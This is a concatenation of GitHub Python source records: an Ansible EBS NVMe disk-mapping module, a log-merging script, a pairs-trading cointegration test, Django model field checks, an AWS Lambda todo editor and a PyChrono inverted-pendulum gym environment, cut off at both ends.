Burst\n (\"ieee\", c_uint8 * 3), # IEEE OUI Identifier\n (\"mic\", c_uint8), # Multi-Interface Capabilities\n (\"mdts\", c_uint8), # Maximum Data Transfer Size\n (\"reserved0\", c_uint8 * (256 - 78)),\n (\"oacs\", c_uint16), # Optional Admin Command Support\n (\"acl\", c_uint8), # Abort Command Limit\n (\"aerl\", c_uint8), # Asynchronous Event Request Limit\n (\"frmw\", c_uint8), # Firmware Updates\n (\"lpa\", c_uint8), # Log Page Attributes\n (\"elpe\", c_uint8), # Error Log Page Entries\n (\"npss\", c_uint8), # Number of Power States Support\n (\"avscc\", c_uint8), # Admin Vendor Specific Command Configuration\n (\"reserved1\", c_uint8 * (512 - 265)),\n (\"sqes\", c_uint8), # Submission Queue Entry Size\n (\"cqes\", c_uint8), # Completion Queue Entry Size\n (\"reserved2\", c_uint16),\n (\"nn\", c_uint32), # Number of Namespaces\n (\"oncs\", c_uint16), # Optional NVM Command Support\n (\"fuses\", c_uint16), # Fused Operation Support\n (\"fna\", c_uint8), # Format NVM Attributes\n (\"vwc\", c_uint8), # Volatile Write Cache\n (\"awun\", c_uint16), # Atomic Write Unit Normal\n (\"awupf\", c_uint16), # Atomic Write Unit Power Fail\n (\"nvscc\", c_uint8), # NVM Vendor Specific Command Configuration\n (\"reserved3\", c_uint8 * (704 - 531)),\n (\"reserved4\", c_uint8 * (2048 - 704)),\n (\"psd\", nvme_identify_controller_psd * 32), # Power State Descriptor\n (\"vs\", nvme_identify_controller_amzn_vs)] # Vendor Specific\n\nclass ebs_nvme_device:\n def __init__(self, device):\n self.device = device\n self.ctrl_identify()\n\n def _nvme_ioctl(self, id_response, id_len):\n admin_cmd = nvme_admin_command(opcode = NVME_ADMIN_IDENTIFY,\n addr = id_response,\n alen = id_len,\n cdw10 = 1)\n\n with open(self.device, \"w\") as nvme:\n ioctl(nvme, NVME_IOCTL_ADMIN_CMD, admin_cmd)\n\n def ctrl_identify(self):\n self.id_ctrl = nvme_identify_controller()\n self._nvme_ioctl(addressof(self.id_ctrl), sizeof(self.id_ctrl))\n\n def is_ebs(self):\n if self.id_ctrl.vid != AMZN_NVME_VID:\n return False\n if self.id_ctrl.mn.strip() != AMZN_NVME_EBS_MN:\n return False\n return True\n\n def get_volume_id(self):\n vol = self.id_ctrl.sn.decode('utf-8')\n\n if vol.startswith(\"vol\") and vol[3] != \"-\":\n vol = \"vol-\" + vol[3:]\n\n return vol.strip()\n\n def get_block_device(self, stripped=False):\n dev = self.id_ctrl.vs.bdev.decode('utf-8')\n\n if stripped and dev.startswith(\"/dev/\"):\n dev = dev[5:]\n\n return dev.strip()\n\n\ndef update_disk(disk, mapping):\n if 'device_name' not in disk:\n return disk\n\n device_name = disk['device_name'][5:]\n if device_name not in mapping:\n return disk\n\n volume_id = mapping[device_name]\n link_path = '/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol%s' % volume_id[4:]\n resolved = str(Path(link_path).resolve())\n\n new_disk = dict(disk)\n new_disk['disk'] = resolved\n new_disk['part'] = '%sp1' % resolved\n return new_disk\n\n\ndef main():\n src_config = module.params['config']\n\n lsblkOutput = subprocess.check_output(['lsblk', '-J'])\n lsblk = json.loads(lsblkOutput.decode('utf-8'))\n mapping = {}\n for blockdevice in lsblk['blockdevices']:\n try:\n dev = ebs_nvme_device('/dev/%s' % blockdevice['name'])\n except OSError:\n continue\n if dev.is_ebs():\n continue\n mapping[dev.get_block_device()] = dev.get_volume_id()\n\n new_config = [\n update_disk(disk, mapping) for disk in src_config\n ]\n\n facts = {'blockDeviceMapping': mapping, 'config': new_config, 'source_config': src_config}\n result = {\"changed\": False, \"ansible_facts\": facts}\n module.exit_json(**result)\n\n\nmain()\n","repo_name":"AerisCloud/ansible-disk","sub_path":"library/disk_config.py","file_name":"disk_config.py","file_ext":"py","file_size_in_byte":6856,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"78"} +{"seq_id":"71857736893","text":"\nimport os\nimport re\nimport json\nimport os\nimport boto3\n# from botocore.exceptions import ClientError\nfrom dotenv import load_dotenv\nfrom datetime import datetime\nimport sys, os\n\nload_dotenv()\n\ndir_path = '/Users/parkdaekyu/Downloads/logs/laravel_logs'\noutput_dir = '/Users/parkdaekyu/Downloads/logs/join'\n\n\ndef sort_files_by_date(files):\n return sorted(files, key=lambda f: datetime.strptime(f, '%Y-%m-%d.sql'))\n\ndef merge_files_by_month(files, output_dir):\n try:\n month_files = {}\n for file in files:\n date_str = file[:-4]\n month = date_str[:7]\n if month not in month_files:\n month_files[month] = []\n month_files[month].append(file)\n\n # print('-----------------------')\n # print(month_files)\n \n for month, month_files_list in month_files.items():\n # print(month)\n pattern = re.compile(r'^\\d{4}-\\d{2}$')\n if (not bool(pattern.match(month))):\n continue\n print('month-----------------------', month)\n output_file = os.path.join(output_dir, f'{month}.sql')\n with open(output_file, 'w') as out_file:\n sorted_files = sort_files_by_date(month_files_list)\n for file in sorted_files:\n with open(dir_path+'/'+file, 'r') as in_file:\n out_file.write(in_file.read().replace('logispot_develop.log_location_accesses', 'log_location_accesses2'))\n except Exception as e:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n print(\"The error is: \",e)\n \nif __name__ == '__main__':\n try:\n print(\"start process\")\n\n files = os.listdir(dir_path)\n # print(f)\n print(files)\n \n \n # files = [for f in os.listdir(dir_path) if ]\n # files = [dir_path for f in os.listdir(dir_path) if os.path.isfile(os.path.join(dir_path, f))]\n \n \n merge_files_by_month(files, output_dir)\n\n # load()\n except Exception as e:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n ","repo_name":"mamma1234/aws-s3-log","sub_path":"join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40288266550","text":"import numpy as np\nimport pandas as pd\nimport statsmodels.api as sm\nimport statsmodels.tsa.stattools as st\n\n\ndef main(grouped_shares, p_value=0.05):\n\n ''' Identifies cointegrated pairs\n\n :param grouped_shares: List of shares to be considered separated by their individual groups\n :param p_value: Cointegration threshold\n :return: List of cointegrated pairs separated by their individual groups\n '''\n\n possible_pairs = form_pairs(grouped_shares) # group: (share code, end row, log prices)\n cointegrated_pairs = find_cointegrated_pairs(possible_pairs, p_value) # [(permno_one, trade_start_one_row, permno_two, trade_start_two_row, mean, std, beta, sic_one, sic_two)]\n\n return cointegrated_pairs\n\n\ndef form_pairs(grouped_shares):\n\n ''' Generates all the possible pairs\n\n :param grouped_shares: List of shares to be considered separated by their individual groups\n :return: List of all possible pairs separated by their individual groups\n '''\n\n stationary_shares = {} # group: [(permno, dataframe, end_index, sic)]\n pairs = {} # group: [(pair 1, pair 2)]\n\n for group, share_list in grouped_shares.items():\n stationary_shares[group] = []\n\n\n # Test for stationarity\n # ADF Test: Fail to reject null hypothesis --> Non-stationary (p-value > 0.05)\n for i in range(0, len(share_list)):\n adf_result = st.adfuller(share_list[i][2]['LOG_PRC'])\n\n if adf_result[1] > 0.05:\n temp = stationary_shares[group]\n temp.append((share_list[i][0], share_list[i][2], share_list[i][1], share_list[i][3]))\n stationary_shares[group] = temp\n\n for group, share_list in stationary_shares.items():\n pairs[group] = []\n\n for i in range(0, len(share_list)):\n for j in range(i + 1, len(share_list)):\n temp = pairs[group]\n temp.append((share_list[i], share_list[j]))\n pairs[group] = temp\n\n return pairs\n\n\ndef find_cointegrated_pairs(potential_pairs, p_value):\n\n ''' Tests pairs for cointegration\n\n :param potential_pairs: List of all possible pairs separated by their individual groups\n :param p_value: Cointegration threshold\n :return: List of cointegrated pairs separated by their individual groups\n '''\n\n selected_pairs = {}\n\n relevant_cols = ['date', 'PRC', 'LOG_PRC']\n\n for group, pairs in potential_pairs.items():\n selected_pairs[group] = []\n for i in range(0, len(pairs)):\n pair_one, pair_two = pairs[i] # Share code, log_price series, end index, sic\n\n pair_one_prices = pair_one[1]\n pair_one_price_series = pd.DataFrame(pair_one_prices, columns=relevant_cols)\n\n pair_two_prices = pair_two[1]\n pair_two_price_series = pd.DataFrame(pair_two_prices, columns=relevant_cols)\n\n log_price_one = pair_one_price_series['LOG_PRC']\n log_price_two = pair_two_price_series['LOG_PRC']\n\n # Test for co-integration\n # Engle and Granger: Reject null hypothesis --> Co-integrated (p-value < 0.05)\n coint_t, pvalue, crit_value = st.coint(log_price_one, log_price_two)\n\n if pvalue < p_value:\n log_two_constant = sm.add_constant(log_price_two)\n model = sm.OLS(np.asarray(log_price_one), np.asarray(log_two_constant))\n results = model.fit()\n\n intercept, beta = results.params\n\n # Beta refers to how much of Stock 2 to buy to match the value of Stock A --> Cannot be -ve\n if beta > 0:\n log_price_two = log_price_two.apply(lambda x:x*beta)\n spread = log_price_one - log_price_two.values\n mean = spread.mean()\n std = spread.std()\n speed_of_mean_reversion = approximate_speed(log_price_one.values, log_price_two.values)\n pair = (pair_one[0], pair_one[2] + 1, pair_two[0], pair_two[2] + 1, mean, std, beta, pair_one[3], pair_two[3], speed_of_mean_reversion)\n update_pair_list(group, pair, selected_pairs)\n else:\n log_one_constant = sm.add_constant(log_price_one)\n model = sm.OLS(np.asarray(log_price_two), np.asarray(log_one_constant))\n results = model.fit()\n intercept, beta = results.params\n\n if beta > 0:\n log_price_one = log_price_one.apply(lambda x: x * beta)\n spread = log_price_two - log_price_one.values\n mean = spread.mean()\n std = spread.std()\n speed_of_mean_reversion = approximate_speed(log_price_two.values, log_price_one.values)\n pair = (pair_two[0], pair_two[2] + 1, pair_one[0], pair_one[2] + 1, mean, std, beta, pair_one[3], pair_two[3], speed_of_mean_reversion)\n update_pair_list(group, pair, selected_pairs)\n\n return selected_pairs\n\n\ndef update_pair_list(group, pair, selected_pairs):\n\n ''' Adds the newly identified pair to its group in the dictionary of selected_pairs\n\n :param group: Group of the pair\n :param pair: Newly identified pair to be added\n :param selected_pairs: Dictionary of selected pairs separated by groups\n :return: None\n '''\n\n temp = selected_pairs[group]\n temp.append(pair)\n selected_pairs[group] = temp\n\n\ndef approximate_speed(price_one, price_two):\n\n ''' Calculates the approximate speed of mean reversion of the pair\n\n :param price_one: Price series of stock one\n :param price_two: Price series of stock two\n :return: Approximate speed of mean reversion of the pair\n '''\n\n diff_one = []\n diff_two = []\n\n for index in range(1, len(price_one)):\n diff_one.append(price_one[index] - price_one[index-1])\n\n for index in range(1, len(price_two)):\n diff_two.append(price_two[index] - price_two[index-1])\n\n diff_two = sm.add_constant(diff_two)\n model = sm.OLS(diff_one, diff_two)\n results = model.fit()\n intercept, gamma = results.params\n\n return gamma\n","repo_name":"ElysiaTanZY/PairsTrading","sub_path":"Final/cointegration_test.py","file_name":"cointegration_test.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25957100560","text":"from abc import abstractmethod\nfrom typing import Any, Iterator, Optional, Type\n\nimport django.core.checks\nfrom django import forms\nfrom django.db import models\n\nfrom .. import CheckId\nfrom ..ast import FieldASTProtocol, MissingASTError\nfrom ..ast.protocols import DisableCommentProtocol\nfrom ..forms import BaseCheckForm\nfrom ..registry import registry\nfrom .base_checks import BaseCheck, BaseCheckMixin\n\n\nclass CheckModelField(BaseCheck):\n @abstractmethod\n def apply(\n self,\n field: models.fields.Field,\n *,\n ast: FieldASTProtocol,\n model: Type[models.Model],\n ) -> Iterator[django.core.checks.CheckMessage]:\n raise NotImplementedError()\n\n def __call__(\n self, obj: Any, ast: Optional[DisableCommentProtocol] = None, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n try:\n yield from super().__call__(obj, ast=ast, **kwargs)\n except MissingASTError:\n pass\n\n def is_ignored(self, obj: Any) -> bool:\n if self.skipif and self.skipif(obj):\n return True\n return obj.model in self.ignore_objects or type(obj) in self.ignore_types\n\n\nclass GetTextMixin(BaseCheckMixin):\n class GettTextFuncForm(BaseCheckForm):\n gettext_func = forms.CharField(required=False)\n\n settings_form_class = GettTextFuncForm\n\n def __init__(self, gettext_func: str, **kwargs: Any) -> None:\n self.gettext_func = gettext_func or \"_\"\n super().__init__(**kwargs)\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldVerboseName(CheckModelField):\n Id = CheckId.X050\n\n def apply(\n self, field: models.fields.Field, ast: FieldASTProtocol, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n if not ast.get_arg(\"verbose_name\"):\n yield self.message(\n \"Field has no verbose name.\",\n hint=\"Set verbose name on the field.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldVerboseNameGettext(GetTextMixin, CheckModelField):\n Id = CheckId.X051\n\n def apply(\n self, field: models.fields.Field, ast: FieldASTProtocol, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n verbose_name = ast.get_arg(\"verbose_name\")\n if verbose_name and not (\n verbose_name.is_callable\n and verbose_name.callable_func_name == self.gettext_func\n ):\n yield self.message(\n \"Verbose name should use gettext.\",\n hint=\"Use gettext on the verbose name.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldVerboseNameGettextCase(GetTextMixin, CheckModelField):\n Id = CheckId.X052\n\n @classmethod\n def is_invalid(cls, value: object) -> bool:\n return bool(\n value\n and isinstance(value, str)\n and any(w != w.lower() and w != w.upper() for w in value.split(\" \"))\n )\n\n def apply(\n self, field: models.fields.Field, ast: FieldASTProtocol, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n verbose_name = ast.get_arg(\"verbose_name\")\n if verbose_name and (\n verbose_name.is_callable\n and verbose_name.callable_func_name == self.gettext_func\n ):\n value = verbose_name.get_call_first_args()\n if self.is_invalid(value):\n yield self.message(\n \"Words in verbose name must be all upper case or all lower case.\",\n hint=f'Change verbose name to \"{value.lower()}\".',\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldHelpTextGettext(GetTextMixin, CheckModelField):\n Id = CheckId.X053\n\n def apply(\n self, field: models.fields.Field, ast: FieldASTProtocol, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n help_text = ast.get_arg(\"help_text\")\n if help_text and not (\n help_text.is_callable and help_text.callable_func_name == self.gettext_func\n ):\n yield self.message(\n \"Help text should use gettext.\",\n hint=\"Use gettext on the help text.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldFileUploadTo(CheckModelField):\n Id = CheckId.X054\n\n def apply(\n self, field: models.fields.Field, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n if isinstance(field, models.FileField):\n if not field.upload_to:\n yield self.message(\n f'Field \"{field.name}\" must have non empty \"upload_to\" attribute.',\n hint='Set \"upload_to\" on the field.',\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldTextNull(CheckModelField):\n Id = CheckId.X055\n\n def apply(\n self, field: models.fields.Field, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n if isinstance(field, (models.CharField, models.TextField)):\n if field.null:\n yield self.message(\n f'Field \"{field.name}\" shouldn\\'t use `null=True` '\n \"(django uses empty string for text fields).\",\n hint=\"Remove `null=True` attribute from the field.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldNullFalse(CheckModelField):\n Id = CheckId.X057\n\n def apply(\n self, field: models.fields.Field, ast: FieldASTProtocol, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n if field.null is False and ast.get_arg(\"null\"):\n yield self.message(\n \"Argument `null=False` is default.\",\n hint=\"Remove `null=False` from field arguments.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldForeignKeyIndex(CheckModelField):\n Id = CheckId.X058\n\n class CheckFieldForeignKeyIndexForm(BaseCheckForm):\n when = forms.ChoiceField(\n choices=[(\"indexes\", \"indexes\"), (\"always\", \"always\")],\n required=False,\n )\n\n settings_form_class = CheckFieldForeignKeyIndexForm\n\n def __init__(self, when: str, **kwargs: Any) -> None:\n self.when = when or \"indexes\"\n super().__init__(**kwargs)\n\n @classmethod\n def get_index_values_in_meta(cls, model: Type[models.Model]) -> Iterator[str]:\n for entry in model._meta.unique_together:\n yield from entry\n for entry in model._meta.index_together:\n yield from entry\n for constraint in model._meta.constraints:\n if isinstance(constraint, models.UniqueConstraint):\n yield from constraint.fields\n for index in model._meta.indexes:\n yield from index.fields\n\n @classmethod\n def get_fields_with_indexes_in_meta(\n cls, model: Type[models.Model]\n ) -> Iterator[str]:\n for entry in cls.get_index_values_in_meta(model):\n yield entry.lstrip(\"-\")\n\n def apply(\n self,\n field: models.fields.Field,\n ast: FieldASTProtocol,\n model: Type[models.Model],\n ) -> Iterator[django.core.checks.CheckMessage]:\n if isinstance(field, models.fields.related.RelatedField):\n if field.many_to_one and not ast.get_arg(\"db_index\"):\n if self.when == \"indexes\":\n if field.name in self.get_fields_with_indexes_in_meta(model):\n yield self.message(\n \"ForeignKey field must set `db_index` explicitly if it present in other indexes.\",\n hint=\"Specify `db_index` field argument.\",\n obj=field,\n )\n else:\n yield self.message(\n \"ForeignKey must set `db_index` explicitly.\",\n hint=\"Specify `db_index` field argument.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldRelatedName(CheckModelField):\n Id = CheckId.X061\n\n def apply(\n self,\n field: models.fields.Field,\n ast: FieldASTProtocol,\n model: Type[models.Model],\n ) -> Iterator[django.core.checks.CheckMessage]:\n if isinstance(field, models.fields.related.RelatedField):\n if not field.remote_field.related_name:\n yield self.message(\n \"Related fields must set `related_name` explicitly.\",\n hint=\"Specify `related_name` field argument. Use `related_name='+'` to not create a backwards relation.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldDefaultNull(CheckModelField):\n Id = CheckId.X059\n\n def apply(\n self, field: models.fields.Field, ast: FieldASTProtocol, **kwargs: Any\n ) -> Iterator[django.core.checks.CheckMessage]:\n if field.null and field.default is None and ast.get_arg(\"default\"):\n yield self.message(\n \"Argument `default=None` is redundant if `null=True` is set. (see docs about exceptions).\",\n hint=\"Remove `default=None` from field arguments.\",\n obj=field,\n )\n\n\n@registry.register(django.core.checks.Tags.models)\nclass CheckFieldChoicesConstraint(CheckModelField):\n Id = CheckId.X060\n\n @staticmethod\n def _repr_choice(value: Any) -> str:\n if isinstance(value, str):\n return f'\"{value}\"'\n return str(value)\n\n def apply(\n self,\n field: models.fields.Field,\n ast: FieldASTProtocol,\n model: Type[models.Model],\n ) -> Iterator[django.core.checks.CheckMessage]:\n choices = field.flatchoices\n if choices:\n field_choices = [c[0] for c in choices]\n if field.empty_strings_allowed and field.blank and \"\" not in field_choices:\n field_choices.append(\"\")\n in_name = f\"{field.name}__in\"\n for constraint in model._meta.constraints:\n if isinstance(constraint, models.CheckConstraint):\n conditions = dict(constraint.check.children) # type: ignore\n if in_name in conditions and set(field_choices) == set(\n conditions[in_name]\n ):\n return\n check = f'models.Q({in_name}=[{\", \".join([self._repr_choice(c) for c in field_choices])}])'\n yield self.message(\n \"Field with choices must have companion CheckConstraint to enforce choices on database level.\",\n hint=f'Add to Meta.constraints: `models.CheckConstraint(name=\"%(app_label)s_%(class)s_{field.name}_valid\", check={check})`',\n obj=field,\n )\n","repo_name":"kalekseev/django-extra-checks","sub_path":"src/extra_checks/checks/model_field_checks.py","file_name":"model_field_checks.py","file_ext":"py","file_size_in_byte":11128,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"78"} +{"seq_id":"24141374771","text":"\nimport math\nimport functools\nn=int(input())\ndef square(num):\n\treturn num*num\n\nfor i in range(n) :\n\tnums=list(map(int,input().split()))\n\t#print(nums)\n\tsqrdNums=list(map(square,nums))\n\tmax=sqrdNums[1]+sqrdNums[0]\n\tmin=sqrdNums[1]-sqrdNums[0]\n\tresult=[]\n\tresult.append(math.sqrt(min))\n\tresult.append(math.sqrt(max))\n\t\n\n\n\tprint(*result)\n\n","repo_name":"deepnirmal/code-chef-beginner","sub_path":"snape.py","file_name":"snape.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"30451146304","text":"import json\nimport logging\nimport boto3\n\ndynamodb = boto3.client('dynamodb')\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndef get_todo(id):\n try:\n res = dynamodb.get_item(\n TableName='todos',\n Key={'id': {\n 'N': str(id),\n }},\n AttributesToGet=['id','description', 'completed'],\n ConsistentRead=False,\n ReturnConsumedCapacity='NONE',\n )\n return res\n except:\n return None\n\ndef set_todo(event):\n if any(x not in event for x in (\"id\",\"description\",\"completed\")):\n return 405, 'error: Request does not contain all fields.'\n if get_todo(int(event['id'])) is None:\n return 406, ' error: Todo does not exist.'\n try:\n dynamodb.update_item(\n TableName='todos',\n Key={'id':{'N':str(event['id'])}},\n UpdateExpression=\"SET description = :ds, completed = :cmp\",\n ExpressionAttributeValues={\n \":ds\":{\"S\":event[\"description\"]},\n \":cmp\":{\"BOOL\":event[\"completed\"]},\n }\n )\n except Exception as e:\n return 409, 'Error: dynamodb.update_item exception ' + str(e)\n return 200, 'was successful.'\n\ndef reply(code,message):\n return {'statusCode': int(code),'headers': {\n \"Access-Control-Allow-Origin\": \"*\",\n \"Access-Control-Allow-Headers\": \"Content-Type\",\n \"Access-Control-Allow-Methods\": \"OPTIONS,POST,GET,PUT,DELETE\"\n },\n 'body': message}\n\ndef lambda_handler(event, context):\n if \"body\" in event.keys(): # hits True when sending an API, False in test\n if event[\"body\"] is None:\n return reply(200,\"Options \")\n event = json.loads(event[\"body\"])\n logger.info('got event{}'.format(event))\n st, msg = set_todo(event)\n b = 'EditTodo request ' + msg\n return reply(st,b)","repo_name":"Attersson/todoMvcFrontend","sub_path":"lambda/EditTodo.py","file_name":"EditTodo.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38888906958","text":"import pychrono as chrono\r\ntry:\r\n from pychrono import irrlicht as chronoirr\r\nexcept:\r\n print('Could not import ChronoIrrlicht')\r\nimport numpy as np\r\nfrom gym import spaces\r\n\r\nimport os\r\nimport sys\r\nfrom gym_chrono.envs.ChronoBase import ChronoBaseEnv\r\n\r\n\r\nclass ChronoPendulum(ChronoBaseEnv):\r\n def __init__(self):\r\n ChronoBaseEnv.__init__(self)\r\n #self._set_observation_space(np.ndarray([4,]))\r\n #self.action_space = np.zeros([4,])\r\n low = np.full(4, -1000)\r\n high = np.full(4, 1000)\r\n self.observation_space = spaces.Box(low, high, dtype=np.float32)\r\n self.action_space = spaces.Box(low=-1.0, high=1.0, shape=(1,), dtype=np.float32)\r\n self.info = {\"timeout\": 100000}\r\n self.timestep = 0.01\r\n # ---------------------------------------------------------------------\r\n #\r\n # Create the simulation system and add items\r\n #\r\n \r\n self.rev_pend_sys = chrono.ChSystemNSC()\r\n\r\n chrono.ChCollisionModel.SetDefaultSuggestedEnvelope(0.001)\r\n chrono.ChCollisionModel.SetDefaultSuggestedMargin(0.001)\r\n\r\n #rev_pend_sys.SetSolverType(chrono.ChSolver.Type_BARZILAIBORWEIN) # precise, more slow\r\n self.rev_pend_sys.SetSolverMaxIterations(70)\r\n\r\n\r\n\r\n # Create a contact material (surface property)to share between all objects.\r\n self.rod_material = chrono.ChMaterialSurfaceNSC()\r\n self.rod_material.SetFriction(0.5)\r\n self.rod_material.SetDampingF(0.2)\r\n self.rod_material.SetCompliance (0.0000001)\r\n self.rod_material.SetComplianceT(0.0000001)\r\n\r\n\r\n\r\n # Create the set of rods in a vertical stack, along Y axis\r\n\r\n\r\n self.size_rod_y = 2.0\r\n self.radius_rod = 0.05\r\n self.density_rod = 50 # kg/m^3\r\n\r\n self.mass_rod = self.density_rod * self.size_rod_y *chrono.CH_C_PI* (self.radius_rod**2)\r\n self.inertia_rod_y = (self.radius_rod**2) * self.mass_rod/2\r\n self.inertia_rod_x = (self.mass_rod/12)*((self.size_rod_y**2)+3*(self.radius_rod**2))\r\n \r\n self.size_table_x = 0.3\r\n self.size_table_y = 0.3\r\n self.size_table_z = 0.3\r\n self.reset()\r\n\r\n def reset(self):\r\n #print(\"reset\")\r\n self.isdone = False\r\n self.rev_pend_sys.Clear()\r\n # create it\r\n self.body_rod = chrono.ChBody()\r\n # set initial position\r\n self.body_rod.SetPos(chrono.ChVectorD(0, self.size_rod_y/2, 0 ))\r\n # set mass properties\r\n self.body_rod.SetMass(self.mass_rod)\r\n\r\n self.body_rod.SetInertiaXX(chrono.ChVectorD(self.inertia_rod_x,self.inertia_rod_y,self.inertia_rod_x))\r\n\r\n\r\n self.cyl_base1= chrono.ChVectorD(0, -self.size_rod_y/2, 0 )\r\n self.cyl_base2= chrono.ChVectorD(0, self.size_rod_y/2, 0 )\r\n\r\n self.body_rod_shape = chrono.ChCylinderShape()\r\n self.body_rod_shape.GetCylinderGeometry().p1= self.cyl_base1\r\n self.body_rod_shape.GetCylinderGeometry().p2= self.cyl_base2\r\n self.body_rod_shape.GetCylinderGeometry().rad= self.radius_rod\r\n\r\n self.body_rod.AddAsset(self.body_rod_shape)\r\n self.rev_pend_sys.Add(self.body_rod)\r\n\r\n\r\n self.body_floor = chrono.ChBody()\r\n self.body_floor.SetBodyFixed(True)\r\n self.body_floor.SetPos(chrono.ChVectorD(0, -5, 0 ))\r\n self.body_floor_shape = chrono.ChBoxShape()\r\n self.body_floor_shape.GetBoxGeometry().Size = chrono.ChVectorD(3, 1, 3)\r\n self.body_floor.GetAssets().push_back(self.body_floor_shape)\r\n self.body_floor_texture = chrono.ChTexture()\r\n self.body_floor_texture.SetTextureFilename(chrono.GetChronoDataPath() + '/concrete.jpg')\r\n self.body_floor.GetAssets().push_back(self.body_floor_texture)\r\n\r\n self.rev_pend_sys.Add(self.body_floor)\r\n\r\n\r\n\r\n self.body_table = chrono.ChBody()\r\n self.body_table.SetPos(chrono.ChVectorD(0, -self.size_table_y/2, 0 ))\r\n\r\n self.body_table.SetMass(0.1)\r\n self.body_table_shape = chrono.ChBoxShape()\r\n self.body_table_shape.GetBoxGeometry().Size = chrono.ChVectorD(self.size_table_x/2, self.size_table_y/2, self.size_table_z/2)\r\n self.body_table_shape.SetColor(chrono.ChColor(0.4,0.4,0.5))\r\n self.body_table.GetAssets().push_back(self.body_table_shape)\r\n self.body_table_texture = chrono.ChTexture()\r\n self.body_table_texture.SetTextureFilename(chrono.GetChronoDataPath() + '/concrete.jpg')\r\n self.body_table.GetAssets().push_back(self.body_table_texture)\r\n self.rev_pend_sys.Add(self.body_table)\r\n\r\n\r\n\r\n self.link_slider = chrono.ChLinkLockPrismatic()\r\n z2x = chrono.ChQuaternionD()\r\n z2x.Q_from_AngAxis(-chrono.CH_C_PI / 2 , chrono.ChVectorD(0, 1, 0))\r\n\r\n self.link_slider.Initialize(self.body_table, self.body_floor, chrono.ChCoordsysD(chrono.ChVectorD(0, 0, 0), z2x))\r\n self.rev_pend_sys.Add(self.link_slider)\r\n\r\n\r\n self.act_initpos = chrono.ChVectorD(0,0,0)\r\n self.actuator = chrono.ChLinkMotorLinearForce()\r\n self.actuator.Initialize(self.body_table, self.body_floor, chrono.ChFrameD(self.act_initpos))\r\n self.rev_pend_sys.Add(self.actuator)\r\n\r\n self.rod_pin = chrono.ChMarker()\r\n self.body_rod.AddMarker(self.rod_pin)\r\n self.rod_pin.Impose_Abs_Coord(chrono.ChCoordsysD(chrono.ChVectorD(0,0,0)))\r\n\r\n self.table_pin = chrono.ChMarker()\r\n self.body_table.AddMarker(self.table_pin)\r\n self.table_pin.Impose_Abs_Coord(chrono.ChCoordsysD(chrono.ChVectorD(0,0,0)))\r\n\r\n self.pin_joint = chrono.ChLinkLockRevolute()\r\n self.pin_joint.Initialize(self.rod_pin, self.table_pin)\r\n self.rev_pend_sys.Add(self.pin_joint)\r\n \r\n if self.render_setup:\r\n self.myapplication.AssetBindAll()\r\n self.myapplication.AssetUpdateAll()\t\r\n\t\r\n self.isdone= False\r\n self.steps= 0\r\n self.step(np.array([[0]]))\r\n return self.get_ob()\r\n\r\n def step(self, ac):\r\n \r\n action=float(ac[0])\r\n self.steps += 1\r\n self.ac = chrono.ChFunction_Const(action)\r\n self.actuator.SetForceFunction(self.ac)\r\n self.omega = self.pin_joint.GetRelWvel().Length() \r\n \r\n self.rev_pend_sys.DoStepDynamics(self.timestep)\r\n self.rew = 1.0\r\n \r\n self.obs= self.get_ob()\r\n self.is_done()\r\n return self.obs, self.rew, self.isdone, self.info\r\n \r\n\r\n \r\n\r\n def get_ob(self):\r\n \r\n\r\n self.state = [self.link_slider.GetDist(), self.link_slider.GetDist_dt(), self.pin_joint.GetRelAngle(), self.omega]\r\n return np.asarray(self.state)\r\n\r\n \r\n def is_done(self):\r\n if abs(self.link_slider.GetDist()) > 2 or self.steps> 100000 or abs(self.pin_joint.GetRelAngle()) > 0.2 :\r\n self.isdone = True\r\n \r\n \r\n def render(self):\r\n if not self.render_setup :\r\n self.myapplication = chronoirr.ChIrrApp(self.rev_pend_sys)\r\n self.myapplication.AddShadowAll()\r\n self.myapplication.SetTimestep(0.01)\r\n self.myapplication.AddTypicalSky(chrono.GetChronoDataPath() + '/skybox/')\r\n 